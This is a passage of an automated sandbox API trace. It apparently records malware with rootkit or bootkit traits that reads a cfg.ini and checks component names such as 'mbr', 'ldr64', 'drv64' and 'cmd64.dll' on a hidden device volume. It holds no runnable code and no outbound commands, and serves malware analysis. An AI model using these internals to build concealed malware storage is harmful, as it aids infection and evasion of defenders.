out: FastMutex=0xfffffa80027d3898) [0123.194] KeLeaveCriticalRegion () [0123.194] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.194] KeEnterCriticalRegion () [0123.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.194] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.194] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bead70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.194] KeLeaveCriticalRegion () [0123.194] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.194] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.194] KeEnterCriticalRegion () [0123.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.194] ExFreePoolWithTag (P=0xfffffa8003bbedc0, Tag=0x0) [0123.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.194] KeLeaveCriticalRegion () [0123.194] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.194] ReleaseMutex (hMutex=0xf0) returned 1 [0123.195] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.195] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.195] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.195] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.195] KeEnterCriticalRegion () [0123.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.195] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.195] IdePortDispatch () returned 0x103 [0123.195] KeWaitForMutexObject () returned 0x0 [0123.195] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.195] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.195] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.195] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.195] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.195] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.195] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.195] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.195] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.195] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.195] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.195] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.195] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.195] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.195] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.195] KeLeaveCriticalRegion () [0123.195] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.195] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.196] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.196] KeEnterCriticalRegion () [0123.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.196] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.196] IdePortDispatch () returned 0x103 [0123.196] KeWaitForMutexObject () returned 0x0 [0123.196] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.196] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.196] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.196] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.196] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.196] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.196] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.196] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.196] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.196] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.196] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.196] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.196] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.196] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.196] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.196] KeLeaveCriticalRegion () [0123.196] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.196] ReleaseMutex (hMutex=0x100) returned 1 [0123.196] Sleep (dwMilliseconds=0x2bf20) [0123.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ca24390, dwHighDateTime=0x1d24fa4)) [0123.204] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.204] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.204] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.204] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.204] KeEnterCriticalRegion () [0123.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.204] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.204] IdePortDispatch () returned 0x103 [0123.204] KeWaitForMutexObject () returned 0x0 [0123.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.204] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.204] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.204] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.204] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.204] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be94c0 [0123.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.204] KeLeaveCriticalRegion () [0123.204] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.204] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.204] KeEnterCriticalRegion () [0123.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.204] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.204] KeLeaveCriticalRegion () [0123.204] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.204] KeEnterCriticalRegion () [0123.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.204] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.204] IdePortDispatch () returned 0x103 [0123.205] KeWaitForMutexObject () returned 0x0 [0123.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.205] KeLeaveCriticalRegion () [0123.205] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.205] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.205] KeEnterCriticalRegion () [0123.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.205] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ded000 [0123.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.205] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.205] IdePortDispatch () returned 0x103 [0123.205] KeWaitForMutexObject () returned 0x0 [0123.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.205] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.205] IdePortDispatch () returned 0x103 [0123.205] KeWaitForMutexObject () returned 0x0 [0123.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.205] KeLeaveCriticalRegion () [0123.205] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.206] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.206] KeEnterCriticalRegion () [0123.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.206] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.206] KeLeaveCriticalRegion () [0123.206] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.206] KeEnterCriticalRegion () [0123.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.206] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.206] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea860, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.206] KeLeaveCriticalRegion () [0123.206] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.206] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.206] KeEnterCriticalRegion () [0123.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.206] ExFreePoolWithTag (P=0xfffffa8003be94c0, Tag=0x0) [0123.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.206] KeLeaveCriticalRegion () [0123.206] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.206] ReleaseMutex (hMutex=0xf0) returned 1 [0123.206] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.206] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.206] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.207] KeEnterCriticalRegion () [0123.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.207] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.207] IdePortDispatch () returned 0x103 [0123.207] KeWaitForMutexObject () returned 0x0 [0123.207] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.207] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.207] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.207] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.207] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.207] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea950 [0123.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.207] KeLeaveCriticalRegion () [0123.207] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.207] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.207] KeEnterCriticalRegion () [0123.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.207] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.207] KeLeaveCriticalRegion () [0123.207] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.207] KeEnterCriticalRegion () [0123.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.207] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.207] IdePortDispatch () returned 0x103 [0123.207] KeWaitForMutexObject () returned 0x0 [0123.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.208] KeLeaveCriticalRegion () [0123.208] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.208] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.208] KeEnterCriticalRegion () [0123.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.208] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dee000 [0123.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.208] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.208] IdePortDispatch () returned 0x103 [0123.208] KeWaitForMutexObject () returned 0x0 [0123.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.208] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.208] IdePortDispatch () returned 0x103 [0123.208] KeWaitForMutexObject () returned 0x0 [0123.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.208] KeLeaveCriticalRegion () [0123.208] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.209] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.209] KeEnterCriticalRegion () [0123.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.209] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.209] KeLeaveCriticalRegion () [0123.209] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.209] KeEnterCriticalRegion () [0123.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.209] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.209] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.209] KeLeaveCriticalRegion () [0123.209] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.209] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.209] KeEnterCriticalRegion () [0123.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.209] ExFreePoolWithTag (P=0xfffffa8003bea950, Tag=0x0) [0123.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.209] KeLeaveCriticalRegion () [0123.209] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.209] ReleaseMutex (hMutex=0xf0) returned 1 [0123.209] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.209] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.209] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.209] KeEnterCriticalRegion () [0123.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.209] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.209] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.209] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.209] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.209] IdePortDispatch () returned 0x103 [0123.210] KeWaitForMutexObject () returned 0x0 [0123.210] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.210] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.210] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.210] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.210] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.210] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2e50 [0123.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.210] KeLeaveCriticalRegion () [0123.210] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.210] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.210] KeEnterCriticalRegion () [0123.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.210] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.210] KeLeaveCriticalRegion () [0123.210] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.210] KeEnterCriticalRegion () [0123.210] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.210] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.210] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.210] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: 